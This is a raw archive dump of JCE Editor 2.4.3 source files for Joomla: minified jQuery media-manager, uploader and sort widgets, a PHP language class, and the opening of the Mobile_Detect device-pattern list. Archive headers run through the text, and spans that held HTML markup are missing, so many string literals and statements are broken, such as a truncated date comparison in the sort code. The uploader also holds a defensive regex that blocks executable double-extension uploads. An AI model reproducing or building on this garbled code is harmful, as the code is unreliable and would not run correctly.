      ';break;case'string':default:err=error;break;} this._dialog['alert']=$.Dialog.alert(err,{close:function(){self.refresh();}});},_addActions:function(actions){var self=this;$.each(actions,function(i,action){self._addAction(action);});},_addAction:function(o){var self=this,name=o.name||'',fn=this._execute;if(o.action){fn=o.action;} var action=document.createElement('span');$(action).addClass('action');if(name){$(action).attr({'id':name,'title':o.title,'role':'button','labelledby':name+'_label'}).addClass(name).append('');if(o.icon){$(action).css('background-image',$.String.path($.Plugin.getPath(this.options.plugin),o.icon));} if(o.name){$(action).click(function(){if($.type(fn)=='function'){return fn.call(self,name);} return self._trigger(fn,name);});} this._actions[name]=action;} $(this.options.dialog.actions).append('').append(action);if(!$.support.cssFloat&&!window.XMLHttpRequest){$(action).hover(function(){$(this).addClass('hover');},function(){$(this).removeClass('hover');});}},_getAction:function(name){return this._actions[name];},_addButtons:function(buttons){var self=this;if(buttons){if(buttons.folder){$.each(buttons.folder,function(i,button){if(button){self._addButton(button,'folder');}});} if(buttons.file){$.each(buttons.file,function(i,button){if(button){self._addButton(button,'file');}});}}},_addButton:function(o,type){var self=this,dialog=this.options.dialog,fn=this._execute;if(o.action){fn=o.action;} var button=$('div.'+o.name,$(dialog.buttons));if(!button.length){button=document.createElement('div');$(button).attr({'title':o.title,'role':'button','aria-labelledby':o.name+'_label'}).append('');if(o.icon){$(button).css('background-image',$.String.path($.Plugin.getPath(this.options.plugin),o.icon));} if(o.name){var n=o.name;$(button).click(function(){if($('li.selected','#item-list').length||self._pasteitems){if(o.sticky){$(button).toggleClass('ui-state-active');} if($.type(fn)=='function'){return fn.call(self,n,type);} return self._trigger(fn,type);}});} if(!$.support.cssFloat&&!window.XMLHttpRequest){$(button).hover(function(){$(this).addClass('hover');},function(){$(this).removeClass('hover');});} $(dialog.buttons).append(button);$(button).addClass('button '+o.name+' hide');} this._buttons[type][o.name]={'name':o.name,'element':button,'trigger':o.trigger,'multiple':o.multiple,'single':$.type(o.single)==='undefined'?true:o.single,'restrict':o.restrict||'','sticky':o.sticky};},_hideAllButtons:function(){var self=this;$('div.button').each(function(){self._hideButton(this);});},_hideButtons:function(buttons){var self=this;$.each(buttons,function(i,button){self._hideButton(button);});},_hideButton:function(button){$(button).removeClass('show').addClass('hide').attr('aria-hidden',true);},_showButtons:function(){var self=this;this._hideAllButtons();var folder=$('li.folder.selected','#item-list');var file=$('li.file.selected','#item-list');if(file.length&&folder.length){var buttons={};var filebtns=this._buttons['file'];var folderbtns=this._buttons['folder'];$.each(filebtns,function(k,o){if(!o.trigger&&o.multiple){if(folderbtns[k]){buttons[k]=o;}}});$.each(folderbtns,function(k,o){if(!o.trigger&&o.multiple){if(filebtns[k]){buttons[k]=o;}}});$.each(buttons,function(k,o){self._showButton(o.element,o.single,true);});}else{var type=file.length?'file':'folder';$.each(this._buttons[type],function(k,o){if(!o.trigger&&!o.restrict){self._showButton(o.element,o.single,o.multiple);} if(o.restrict){var re=o.restrict.replace(/,/g,'|');var item=self.getSelectedItems(0);if(new RegExp('\\.('+re+')$','i').test($(item).attr('title'))){self._showButton(o.element,o.single,o.multiple);}}});} if(this._pasteitems){this._showPasteButton();}},_showButton:function(button,single,multiple){if(button){var show=false,n=$('li.selected','#item-list').length;if(n>1){if(multiple){show=true;}}else{if(single){show=true;}} $(button).toggleClass('hide',!show).toggleClass('show',!show);if(!show){$(button).attr('aria-hidden',false);}}},_getButton:function(type,name){return this._buttons[type][name]||null;},_showPasteButton:function(){this._showButton($('div.paste','#browser-buttons'),true,true);},_isSelectedItem:function(el){return $(el).is('li.selected');},_deselectItems:function(){var dialog=this.options.dialog;$('li.selected','#item-list').removeClass('selected active').children('span.checkbox').removeClass('checked').attr('aria-checked',false);$(dialog.info).empty();$(dialog.comments).empty();var nav=dialog.nav;$.each([nav+'-left',nav+'-right',nav+'-text'],function(i,el){$(el).css('visibility','hidden').attr('aria-hidden',true);});this._hideAllButtons();$('span.checkbox','#check-all').removeClass('checked');},_selectItems:function(items,show){$(items).addClass('selected').children('span.checkbox').addClass('checked').attr('aria-checked',true);if(show){this._showSelectedItems();} var $list=$('#item-list');if($('span.checked',$list).length==$('li',$list).length){$('span.checkbox','#check-all').addClass('checked').attr('aria-checked',true);} this._trigger('onSelectItems',null,items);},_removeSelectedItems:function(items,show){$(items).removeClass('selected').children('span.checkbox').removeClass('checked').attr('aria-checked',false);if(show){this._showSelectedItems();} this._trigger('onRemoveItems',null,items);},getSelectedItems:function(key){var $items=$('li.selected','#item-list');return $items.get(key)||$items;},setSelectedItems:function(items){this._findItem(items);},_setSelectedItems:function(e,multiple){var checkbox=false;var el=e.target;var $list=$('#item-list');if(e.type=='keydown'){el=$('li.selected:last',$list).get(0);$list=$(this.options.dialog.list);if(e.which==38){el=el.previousSibling;} if(e.which==40){el=el.nextSibling;} if(!el){return;} if(el.offsetTop>$list.innerHeight()||el.offsetTop<$list.scrollTop()){$list.scrollTop((el.offsetTop+$(el).innerHeight())-$list.height());}} if($(el).hasClass('checkbox')){multiple=true;checkbox=true;} if(el.nodeName!='LI') el=el.parentNode;var selected=$('li.selected',$list);if(this._isSelectedItem(el)&&selected.length==1){e.preventDefault();return false;} var items=$('li.folder, li.file',$list);var ctrl=(e.ctrlKey||e.metaKey),shift=e.shiftKey;if(!ctrl&&!shift&&!checkbox||!multiple){$('span.checkbox',el).removeClass('checked').attr('aria-checked',false);this._deselectItems();this._selectItems([el],true);}else if(multiple&&(ctrl||shift||checkbox)){if(ctrl||checkbox){if(this._isSelectedItem(el)){this._removeSelectedItems([el],true);}else{this._selectItems([el],true);}} if(shift){if(selected.length){var si=$(el,selected).index();var ci=$(el,items).index();var selection=[];this._deselectItems();if(ci>si){for(var i=ci;i>=si;i--){selection.push(items[i]);}}else{for(var i=si;i>=ci;i--){selection.push(items[i]);}} this._selectItems(selection,true);}else{this._selectItems([el],true);}}}},_showSelectedItems:function(){var $items=$('li.selected','#item-list'),n=$items.length;if(!n){this._reset();}else{$items.first().addClass('active');this._showItemDetails();}},_findItem:function(files,type){var self=this,items=[];type=type||'file';if($.type(files)=='string'){files=[files];} var insert=false;var $list=$('#item-list');var base=self.getBaseDir();$.each(files,function(i,file){if(file&&file.name){var name=decodeURIComponent(file.name);if($list.length){var item=[];item=$('li.'+type+'[title="'+$.String.basename(name)+'"], li.'+type+'[data-url="'+$.String.path(base,name)+'"]',$list);if(item.length){if(file.insert){insert=true;items=item;self._trigger('onFileClick',null,$(item).get(0));} if(!insert){$.merge(items,item);}}}}});if(items.length){var top=$(items).get(0).offsetTop-2;$(this.options.dialog.list).animate({scrollTop:Math.round(top)},1500);} this._selectItems(items,true);},_serializeSelectedItems:function(){var self=this;return $('li.selected','#item-list').map(function(){return $.String.path(self._dir,$(this).attr('title'));}).get().join(',');},_showItemDetails:function(){var self=this,$items=$('li.selected','#item-list'),n=$items.length;var $nav=$('#browser-details-nav');if(n>1){var index=$items.index($items.filter('.active'));if(index){$('span.details-nav-left',$nav).addClass('visible').attr('aria-hidden',false);}else{$('span.details-nav-left',$nav).removeClass('visible').attr('aria-hidden',true);} if(index+1'+name+'
      '+ext+self._translate(type,$.String.ucfirst(type))+'
      ');if(type=='file'){$(info).append('
      ');} $(dialog.info).removeClass('loader').empty().append(info);var comments='';if($(item).hasClass('notwritable')){comments+='
    • '+''+self._translate('notwritable','Unwritable')+''+'
    • ';} if($(item).hasClass('notsafe')){comments+='
    • '+''+self._translate('bad_name','Bad file or folder name')+''+'
    • ';} if($(item).data('trigger')){$.each($(item).data('trigger').split(','),function(i,v){if(v!==''){var button=self._getButton(type,v);if(button){self._showButton(button.element,button.single,button.multiple);}}});} $.each($(item).data(),function(k,v){if(/^(preview|trigger|width|height|url)$/.test(k)){return;} if(k=='size'){v=$.String.formatSize(v);} if(k=='modified'){v=$.String.formatDate(v,self.options.date_format);} $('#info-properties dl').append('
      '+self._translate(''+k,k)+': '+v+'
      ');});if($(item).data('width')&&$(item).data('height')){$('#info-properties dl').append('
      '+self._translate('dimensions','Dimensions')+': '+$(item).data('width')+' x '+$(item).data('height')+'
      ');} if($(item).data('preview')){$('#info-preview').empty().append('
      '+'
      '+self._translate('preview','Preview')+':
      '+'
      '+'
      ');var src=decodeURIComponent($(item).data('preview'));var img=new Image();img.onload=function(){var w=img.width;var h=img.height;if($(item).attr('data-width')||$(item).attr('data-height')){$('#info-dimensions').html(self._translate('dimensions','Dimensions')+': '+w+' x '+h);} if($.support.backgroundSize){$('dd','#info-preview').css('background-image','url("'+img.src+'")');if(w>100||h>80){$('dd','#info-preview').addClass('resize');}}else{var dim=$.Plugin.sizeToFit(img,{width:100,height:80});$('dd','#info-preview').append($(img).attr('alt',self._translate('preview','Preview')).css(dim));} $('dd','#info-preview').removeClass('loader');};img.onerror=function(){$('dd',$('#info-preview')).removeClass('loader').addClass('preview-error');};src=/:\/\//.test(src)?src:$.String.encodeURI(src);img.src=src+(src.indexOf('?')==-1?'?':'&')+new Date().getTime();} if(comments){$(dialog.comments).empty().append('
        '+comments+'
      ');} $('span.hastip',$(dialog.comments)).tips();var cb=(type=='folder')?'onFolderDetails':'onFileDetails';self._trigger(cb,null,item);},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.MediaManager,{version:"2.4.3"});})(jQuery);com_jce/editor/libraries/js/upload.js000066600000026366150771500630013670 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function($){$.widget("ui.uploader",{uploader:{},errors:0,uploading:false,options:{field:$('input[name=file]:first'),size:false,limit:5,debug:false,filter:null,swf:'uploader.swf',xap:'uploader.xap',runtimes:'html5,flash,html4',urlstream_upload:true,insert:true,buttons:{},required:['multipart'],websafe_mode:'utf-8',canvasResize:true},FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_INVALID_ERROR:-800,_init:function(){var self=this;this.field=this.options.field;this.files=[];this.current=null;$(this.field).remove();this._createUploader();},_createSimple:function(){$.extend(this.options,{runtimes:'html4',required:['multipart']});if(this.uploader){this.uploader.destroy();} $('#upload-queue').empty();this._createUploader();},_createUploader:function(){var self=this;var options=this.options,filters=[];if($.isPlainObject(options.filter)){$.each(options.filter,function(k,v){filters.push({title:k,extensions:v.replace(/\*\./g,'').replace(/;/,',')});});} var size=this.options.size;if(!/kb/.test(size)){size=parseFloat(size)+'kb';} var container=$('#upload-browse').parent().attr('id');if(!container){container='upload_buttons_container';$('#upload-browse').parent().attr('id',container);} $('#upload-browse').addClass('loading').button('disable');try{this.uploader=new plupload.Uploader({container:container,runtimes:options.runtimes,unique_names:false,browse_button:'upload-browse',browse_button_hover:'ui-state-hover',browse_button_active:'ui-state-active',drop_element:'upload-queue-block',max_file_size:size,url:options.url,flash_swf_url:options.swf,silverlight_xap_url:options.xap,filters:filters,multipart:true,required_features:options.required.join(','),rename:true,urlstream_upload:true});this.uploader.bind('Init',function(up){$('#upload-browse').removeClass('loading').button('enable');self._createDragDrop();up.features.triggerDialog=false;});this.uploader.bind('PostInit',function(up){if(up.runtime=='html5'){$('#'+up.id+'_html5').attr('accept','');}});this.uploader.bind('Refresh',function(up){});this.uploader.bind('QueueChanged',function(){var files=self.uploader.files;$('#upload-queue-drag, #upload-queue-queue').css('display','none');self._createQueue(files);});this.uploader.bind('UploadFile',function(up,file){self._onStart(file);});this.uploader.bind('UploadComplete',function(up){self._onAllComplete();});this.uploader.bind('FileUploaded',function(up,file,o){var status='';switch(file.status){case plupload.DONE:status='complete';break;case plupload.FAILED:status='error';self.errors++;break;} if(o.response===''){if(o.status===200){o.response='{"error":false,"files":["'+file.name+'"]}';}else{o.response='{"error":"UPLOAD ERROR"}';}} self._onComplete(file,$.parseJSON(o.response),status);});this.uploader.bind('Error',function(up,err){var file=err.file,message,details;if(err.code===plupload.INIT_ERROR){self._createSimple();} if(file){var msg=err.message.replace(/[^a-z ]/gi,'').replace(/\s+/g,'_').toLowerCase();var code=err.code.toString();details=$.Plugin.translate('error_'+code.replace(/[\D]/g,''),code);message='

      '+$.Plugin.translate(msg,err.message)+'

      ';if(err.details){message+='

      '+err.details+'

      ';}else{switch(err.code){case self.FILE_EXTENSION_ERROR:case self.FILE_INVALID_ERROR:details=details.replace('%s',file.name);break;case self.FILE_SIZE_ERROR:details=details.replace(/%([fsm])/g,function($0,$1){switch($1){case'f':return file.name;case's':return plupload.formatSize(file.size);case'm':return plupload.formatSize(up.settings.max_file_size);}});break;} message+='

      '+details+'

      ';} $.Dialog.alert(message);}});this.uploader.bind('FilesRemoved',function(files){});this.uploader.bind("UploadProgress",function(o,file){self._onProgress(file);});if(this.uploader.settings.chunk_size){this.uploader.bind('ChunkUploaded',function(file,o){window.setTimeout(function(){},1000);});} this.uploader.init();}catch(e){}},_getUploader:function(){return this.uploader;},_onStart:function(file){this.currentFile=file;var el=file.element;$(el).addClass('load');$('span.queue-item-rename, span.queue-item-insert','#upload-queue').addClass('disabled');if(this.uploader.runtime!='html4'){$('span.queue-item-progress',el).show();}},_isError:function(err){if(err){if($.isArray(err)){return err.length;} return true;} return false;},_onComplete:function(file,response,status){var self=this;$(file.element).removeClass('load');if(this._isError(response.error)){status='error';this.errors++;if(response.text){response.error=response.text;} if($.isArray(response.error)){response.error=response.error.join(' : ');} $(file.element).addClass('error').after('
    • '+response.error+'
    • ');$('span.queue-item-progress',file.element).hide();}else{$(file.element).addClass(status);if(file.status==plupload.DONE){if(response.files&&response.files.length){file.name=response.files[0];} var item={name:file.name,insert:$('span.queue-item-insert',file.element).hasClass('selected')};this._trigger('fileComplete',null,item);}} $('span.queue-item-status',file.element).addClass(status);},_onAllComplete:function(){this.uploading=false;this._trigger('uploadComplete');},_setProgress:function(el,percent){$('span.queue-item-progress',el).css('width',percent+'%');},_onProgress:function(file){$('span.queue-item-size',file.element).html(plupload.formatSize(file.loaded));var percent=file.percent;if(file.size==file.loaded){percent=100;} $('span.queue-item-size',file.element).html(percent+'%');this._setProgress(file.element,percent);},upload:function(args){var files=this.uploader.files;if(files.length){this.uploading=true;if(this.uploader.runtime=='html5'){if(!this.options.canvasResize){args.resize=null;}} this.uploader.settings.resize=args.resize;this.uploader.settings.multipart_params=args||{};this.uploader.start();} return false;},refresh:function(){if(!this.uploading) this.uploader.refresh();},close:function(){if(this.uploading) this.uploader.stop();this.uploader.destroy();},getErrors:function(){return this.errors;},isUploading:function(){return this.uploading;},stop:function(){this.uploader.stop();},start:function(){this.uploader.start();},setStatus:function(s){var file=this.currentFile;if(file){$(file.element).removeClass('load complete error').addClass(s.state||'');if(s.state&&s.state=='error'){this.errors++;if(s.message){$(file.element).after('
    • '+s.message+'
    • ');}}}},_createDragDrop:function(){if(this.uploader.features.dragdrop){$('
    • '+$.Plugin.translate('upload_drop','Drop files here')+'
    • ').appendTo('ul#upload-queue').show('slow');}else{$('
    • '+$.Plugin.translate('upload_queue','Upload Queue')+'
    • ').appendTo('ul#upload-queue').show('slow');}},_renameFile:function(file,name){this.uploader.getFile(file.id).name=name;this._trigger('fileRename',null,file);},_removeFiles:function(){this.uploader.splice();$(this.element).html('
    • ');this._createDragDrop();},_removeFile:function(file){this._trigger('fileDelete',null,file);$(file.element).remove();this.uploader.removeFile(file);if(!this.uploader.files.length){this._createDragDrop();}},_createQueue:function(files){var self=this,doc=document,max_file_size=this.uploader.settings.max_file_size,input,info;$(this.element).empty();var filters=$.map(this.uploader.settings.filters,function(o){if(o.extensions.indexOf('*')==-1){return o.extensions.split(',');}});function _triggerError(file){self.uploader.trigger('Error',{code:self.FILE_INVALID_ERROR,message:'File invalid error',file:file});self.uploader.removeFile(file);if(!self.uploader.files.length){self._createDragDrop();}} $.each(files,function(x,file){var title=$.String.basename(file.name);if(filters.length){if(new RegExp('\\.('+filters.join('|')+')$','i').test(title)===false){_triggerError(file);return false;}} if(/\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\./i.test(title)){_triggerError(file);return false;} title=$.String.safe(title,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);self._renameFile(file,title);file.element=doc.createElement('li');var status=doc.createElement('span');var size=doc.createElement('span');var name=doc.createElement('span');var rename=doc.createElement('span');var insert=doc.createElement('span');var input=doc.createElement('input');$(status).attr({'title':$.Plugin.translate('delete','Delete'),'role':'button'}).addClass('queue-item-status delete').click(function(){if(self.uploading){return self._stop(file);} return self._removeFile(file);});$(name).attr({'title':title,'role':'presentation'}).addClass('queue-item-name').append(''+title+'').appendTo(file.element);$(size).attr({'title':plupload.formatSize(file.size),'role':'presentation'}).addClass('queue-item-size').html(plupload.formatSize(file.size));$(input).attr({'type':'text','aria-hidden':true}).appendTo(name).hide();$(rename).attr({'title':$.Plugin.translate('rename','Rename'),'role':'button'}).addClass('queue-item-rename').not('.disabled').click(function(e){$('span.queue-item-name-text',name).click();e.preventDefault();});$(insert).attr({'title':$.Plugin.translate('upload_insert','Insert after upload'),'role':'button'}).click(function(e){$('li.queue-item span.queue-item-insert').each(function(){if(this==e.target){$(this).toggleClass('disabled').toggleClass('selected');}else{$(this).addClass('disabled').removeClass('selected');}});}).addClass('queue-item-insert disabled').toggle(self.options.insert);var buttons=[size,rename,insert,status];$.each(self.options.buttons,function(name,props){var btn=document.createElement('span');$(btn).attr({'title':(props.title||name),'role':'button'}).addClass(props['class']).click(function(){var fn=props.click||$.noop;fn.call(self,this);});buttons.push(btn);});$('').appendTo(file.element).append(buttons);$('#upload-body').click(function(e){if($(e.target).is('input, span.queue-item-rename, span.queue-item-name-text',file.element)) return;$(input).blur();});$('span.queue-item-name-text',name).click(function(e){if(self.uploading){e.preventDefault();return;} var name,txt=this;$(this).hide();name=$.String.stripExt(file.name);name=$.String.safe(name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);$(input).val(name).show().attr('aria-hidden',false);$(input).bind('blur',function(){var v=$(input).val()+'.'+$.String.getExt($(txt).text());v=$.String.safe(v,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);self._renameFile(file,v);$(txt).show().text(v);$(input).hide().attr('aria-hidden',true);$(rename).unbind('click.blur');});$(rename).bind('click.blur',function(){$(input).blur();$(rename).unbind('click.blur');});$(input).focus();});$(file.element).addClass('queue-item').addClass('file').addClass($.String.getExt(file.name)).appendTo($(self.element));self._trigger('fileSelect',null,file);});},_stop:function(file){this.uploader.stop();$(file.element).removeClass('load');},destroy:function(){this.uploader.destroy();$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.uploader,{version:"2.4.3"});})(jQuery);com_jce/editor/libraries/js/sort.js000066600000003627150771500630013366 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function($){$.widget("ui.listsort",{options:{fields:{}},_init:function(){var self=this;$.each(this.options.fields,function(element,props){$(element).addClass('asc').bind('click',function(){var direction='asc';$(this).toggleClass(function(){if($(this).is('.asc')){$(this).removeClass('asc');direction='desc';}else{$(this).removeClass('desc');direction='asc';} return direction;});var selector=props.selector;if($.type(selector)=='string'){selector=[selector];} $.each(selector,function(i,s){self.sortList(s,$(element).data('sort-type'),props.attribute,direction);});});});},sortList:function(selector,type,attribute,direction){var self=this;switch(type){case'date':fn=this._sortDate;break;default:fn=this._sortCompare;break;} var list=$(selector,this.element).map(function(){var v=$(this).attr(attribute)||$(this).text();if(type=='number'){v=parseFloat(v);} if(type=='extension'){v=v.substring(v.length,v.lastIndexOf('.')+1).toLowerCase();} if(type=='string'){v=v.toLowerCase();} return{value:v,element:this};}).get();list.sort(fn);if(direction=='desc'||type=='extension'){list.reverse();} $.each(list,function(i,item){$(self.element).append(item.element);});list=null;this._trigger('onSort');},_sortDate:function(a,b){var x=a.value,y=b.value,r=0,d1=0,d2=0,t1=0,t2=0;var re=/(\d{2})[\/](\d{2})[\/](\d{4}), (\d{2})[:](\d{2})/g;d1=x.replace(re,'$3$2$1');d2=y.replace(re,'$3$2$1');t1=x.replace(re,'$4$5');t2=y.replace(re,'$4$5');if(d1>d2){r=1;} if(d1t2){r=1;} if(t1attributes()->version; if ($version == '2.0') { return true; } } } return false; } /** * Return the curernt language code * * @access public * @return language code */ public static function getDir() { $language = JFactory::getLanguage(); $tag = self::getTag(); if ($language->getTag() == $tag) { return $language->isRTL() ? 'rtl' : 'ltr'; } return 'ltr'; } /** * Return the curernt language code * * @access public * @return language code */ public static function getTag() { $language = JFactory::getLanguage(); $tag = $language->getTag(); //static $_language; if (!isset(self::$instance)) { if (self::check($tag)) { self::$instance = $tag; } else { self::$instance = 'en-GB'; } } return self::$instance; } /** * Return the curernt language code * * @access public * @return language code */ public static function getCode() { $tag = self::getTag(); return substr($tag, 0, strpos($tag, '-')); } /** * Load a language file * * @param string $prefix Language prefix * @param object $path[optional] Base path */ public static function load($prefix, $path = JPATH_SITE) { $language = JFactory::getLanguage(); $tag = self::getTag(); $language->load($prefix, $path, $tag, true); } } ?> com_jce/editor/libraries/classes/mobile.php000066600000102027150771500630015034 0ustar00 * Victor Stanciu (until v.1.0) * @license http://www.opensource.org/licenses/mit-license.php MIT License * @link http://mobiledetect.net * Google Code Repository: http://code.google.com/p/php-mobile-detect/ * GitHub Repository: https://github.com/serbanghita/Mobile-Detect * @version 2.2 (GitHub Release) */ class Mobile_Detect { // External info. protected $userAgent = null; protected $httpHeaders; // Arrays holding all detection rules. protected $mobileDetectionRules = null; protected $mobileDetectionRulesExtended = null; // Type of detection to use. protected $detectionType = 'mobile'; // mobile, extended @todo: refactor this. // List of mobile devices (phones) protected $phoneDevices = array( 'iPhone' => '(iPhone.*Mobile|iPod|iTunes)', 'BlackBerry' => 'BlackBerry|rim[0-9]+', 'HTC' => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6425|001HT', 'Nexus' => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile', 'Dell' => 'Dell.*Streak|Dell.*Aero|Dell.*Venue|DELL.*Venue Pro|Dell Flash|Dell Smoke|Dell Mini 3iX|XCD28|XCD35', 'Motorola' => 'Motorola|\bDroid\b.*Build|DROIDX|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT909|XT910|XT912|XT928', 'Samsung' => 'Samsung|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9300 |GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-P6810|GT-P7100|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH